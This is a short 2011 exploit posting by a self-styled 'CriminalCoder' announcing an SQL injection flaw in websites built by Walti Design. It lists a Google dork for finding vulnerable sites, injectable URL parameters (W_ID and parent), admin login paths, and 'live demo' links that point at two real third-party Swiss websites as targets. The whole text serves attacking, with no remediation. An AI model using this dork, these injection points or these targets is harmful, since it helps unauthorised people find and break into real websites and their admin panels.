########################### # Title : Walti Design SQL Injection Vulnerability # Author: CriminalCoder # Home : http://beyz4de.wordpress.com # Website : rootarea.org / el-kaide.com # Vendor: www.walti-design.ch # Contact : criminalcoder@hotmail.de # Twitter : twitter.com/#!/criminalcoder # Date : 18/07/2011 # Google Dork : "inurl:/index.asp?W_ID=" # Category : webapps / 0day########################### [+] Exploit # http://[localhost]/index.asp?W_ID='1 # http://[localhost]/index.asp?W_ID=[SQLi] # http://[localhost]/index.asp?W_ID='1&parent=1 # http://[localhost]/index.asp?W_ID=1&parent=[SQLi] [+] Live Demo's # http://www.gvseon.ch/index.asp?W_ID='1 # http://www.beinwil.ch/index.asp?W_ID='35 [+] Script Admin Panel # http://[localhost]/admin/log.asp # http://[localhost]/admin/login.asp o.O Good Luck (: